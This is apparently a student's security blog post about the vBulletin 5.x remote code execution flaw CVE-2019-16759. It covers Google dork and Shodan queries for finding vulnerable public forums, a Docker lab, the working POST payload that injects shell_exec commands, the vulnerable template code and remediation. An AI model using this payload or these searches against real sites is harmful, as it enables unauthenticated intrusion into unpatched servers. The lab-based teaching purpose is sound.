Jack Cyber-security graduate student interested in researching privacy and security issues.

vBulletin Biting the RCE Bullet

vBulletin Biting the RCE Bullet

What Happened?

On September 24th, 2019 a RCE, released as a 0day (CVE-2019-16759) by an anonymous user, was reported for vBulletin, a popular online forum package affecting versions 5.0.0 through 5.5.4. This was detrimental to many major forums, blogs and websites being an increasingly popular website commenting application. vBulletin version 5.0.0 was first introduced in 2012, while a lot of companies didn’t upgrade and still use vBulletin versions 3 or 4. There are still thousands of vulnerable web-applications across the internet to this very serious bug allowing remote code execution in less than 20 lines of python code.

Thoughts:

I believe that this critical vulnerability will be responsible for many compromises in the coming years. This is mainly due to legacy systems and system administrators unknowingly leaving servers unpatched.

How can we know exactly who was affected?

Well, we will never get an exact number unless vBulletin releases that information but as stated in the proof of concept (https://seclists.org/fulldisclosure/2019/Sep/31) you can use a Google dork such as: “Powered by vBulletin Version 5.5.4” or site:*.vbulletin.net to get an idea.

So let’s do that!

   
vbulletin poweredHmmm the results only show one version of vBulletin while there are many that are exploitable. Were also getting some unwanted news articles. vbulletin siteOkay this is better, we are getting sites that are guaranteed to be running vBulletin but have not narrowed down to the correct versions.

You can see at the time of writing [11/17/2019] there are thousands of results returned by Google but many of these are false positives and don’t represent the true number of sites using vBulletin 5.0 - 5.5.4.

Can we do better than this?

results

Let’s break this down

intext:Powered by vBulletin Version 5

Here we are using the google dork "intext" which will compare the string "Powered by vBulletin Version 5" against the contents of webpages instead of the title. This is important since we are trying to exclude any news articles surrounding the vulnerability.

site:*.vbulletin.net

This dork will narrow down our search even further since vBulletin allows users to create a site as a subdomain of vBulletin.com.

-5.5.5

You can use the "-" to negate results that contain a certain string. In this case, we don’t want results with the patched version of vBulletin from showing up.

results

This more refined search leaves us with 6,560 websites running vulnerable versions of vBulletin and as you can see, every result displays a different vulnerable version of vBulletin.

One last way for recon [Shodan]

results

Overall the google dork query I created has proven to be the most effective in finding these vulnerable sites. The last way I have found to discover potentially vulnerable webservers is by searching shodan using the string “vBulletin”. I have found through my research that this query provides the most useful results since shodan doesn’t typically scrape website content the way Google does. But as shown, we found an additional 562 sites running vBulletin.

Now onto the vuln

To make this more educational instead of strictly informative let’s throw up a docker container. I found a good prebuilt one using an exploitable version of vBulletin on docker hub. To follow along make sure you have docker installed on a Linux machine and run the following command:

"docker run -it -p 80:80 -d co0ontty/vbulletin_5.x_rce"

Note: if your user is not in the docker group you will need to sudo this command.

results

If you did not alter the command I provided to you, you should be able to open a web browser and go to http://localhost. Your page should look something like this, don’t worry about it looking weird, all the functionality is there.

Okay cool, so we have a webserver running vBulletin 5.1.5, now let’s hack it!

Examining the Exploit

I’ve taken the proof of concept code released with this exploit and made a few modifications to make it easier to use.

results

The code highlighted in GREEN is the parts that I modified from the original POC. The first change presents the current working directory, while this most likely won’t change since you are just doing command injection and haven’t gained a full shell yet, it does give you a good reference of where you are within the system. The second change was due to frustration while using the payload, there was no indication when the command returned a blank response. In this case “Nothing Returned!” will be printed to the user.

What is this exploit doing?

This script sends a post request to the provided website using the request library in python, submitting two parameters. The first one will always be the same, routestring=ajax/render/widget_php, so it is hardcoded into the script. This is telling the server which route we want to use to render arbitrary widgets. Next, the user is given a ‘shell-like’ prompt where they are able to type any command they want. Once entered, this command will be inserted into the shell_exec() function, taking advantage of the vulnerability, and run server-side. The results when returned will be printed out and the process will start again.

This attack can be done using either a GET or POST request but since GET requests are logged by default and do not hide the parameters in a message body, it is highly advised to use a POST request.

Examples of what the request would look like

1
2
3
4
5
6
7
8
9
10
11
12
POST REQUEST

POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
 
routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27pwd%27%29%3B+exit%3B
1
2
3
4
5
6
7
8
9
10
11
12
POST REQUEST UN-URL ENCODED
 
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
 
routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('pwd'); exit;

Running the Exploit

The modified python script used to exploit this and the requirements.txt file are provided below.

results

vBulletin_exploit.py

requirements.txt

Now that you have everything you can run the following two commands:

1
2
pip install -r requirements.txt
python3 vBulletin_exploit.py http://localhost

Make sure you are using python3, python2 will give you errors.

results

Once everything is run you should be shown a "shell-like" prompt

Test out that everything is working, and you are receiving output by typing "ls" you should expect to see similar output as shown below.

results

From here you able to remotely execute code as the user www-data on the given webserver. Every web server will be different, but a typical attacker’s next steps will be to establish a reverse-shell, escalate privileges and move laterally throughout the network.

But Why?

Now that we have exploited this vulnerability, you should be asking a few questions.

Why does this work?

How can we prevent this?

To find some answers to these questions I needed to take a closer look at the source code of the vBulletin application. I did this by remoting into the docker container we previously set up.

You can do this by first typing “docker ps” or if you don’t have permissions type “sudo docker ps”

results

This will show you a listing of the currently running docker containers. Copy the container ID for our vBulletin web app. In this case my container ID would be abe49418f103

Next, we are going to remote into our container. Type the command below but make sure to replace my container ID with yours!

results

If you’re curious what this command is doing “exec” says execute the following command in the specified container. “-it” is two different flags the ‘i’ stands for interactive and ‘t’ says that you want a terminal session. Lastly, “/bin/bash” provides the user with a bash shell environment.

All the web-app source code for our example website is in /var/www/

When going here, I noticed a directory called “vb5” specifically for all the vBulletin source code. Instead of looking through all the code I decided to grep the directory to find what I want recursively. Since I know the vulnerability lies within the widgetConfig array I can use that to my advantage.

results

Here you can see the vulnerable code as well as which file it exists in and the line number within that file that it appears.

Source Code from vbulletin-style.xml

1
2
3
4
5
6
7
8
9
10
11
12
  53760         <div class="widget-content">
  53761                 <hr class="widget-header-divider" />
  53762                 <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
  53763                         {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
  53764                         {vb:raw $evaledPHP}
  53765                 <vb:else />
  53766                         <vb:if condition="$user['can_use_sitebuilder']">
  53767                                 <span class="note">{vb:phrase click_edit_to_config_module}</span>
  53768                         </vb:if>
  53769                 </vb:if>
  53770         </div>
  53771 </div>

Analysis and Conclusion

The underlying vulnerability is due to vBulletin’s PHP widgets and the use of bad coding practices. These widgets are useful for creating dynamic content rendered at runtime and do not directly access the hosting server. This bad implementation uses eval which executes code on the underlying server with no sanitization, this makes it easy for an attacker to take advantage of. Specially crafted GET or POST requests can take advantage of this and result in remote command execution. This is a good reminder to sanitize all data received from the end-user.

Since anyone with no authentication can exploit this and this being released as a 0day we saw mass exploitation of vBulletin forums across the internet. The vulnerability was released on Mon, 23 Sep 2019 and a patch was not released until Tue 1st Oct 2019. This means that for 8 days thousands of sites were susceptible to a critical RCE. The most trivial remediation was to take down the entire site or the vBulletin forum until a patch was released. The popular hacking convention took this precaution, DEFCON, to prevent any possible attacks. Another approach would be to disable the “PHP, Static HTML, and Ad Module rendering” setting within the admin panel of vBulletin. One of the better preventive measures that could be taken to prevent this exploit is to invest in setting up a WAF (Web Application Firewall) which will look at signatures of requests and act as a gatekeeper to which ones are allowed to go through.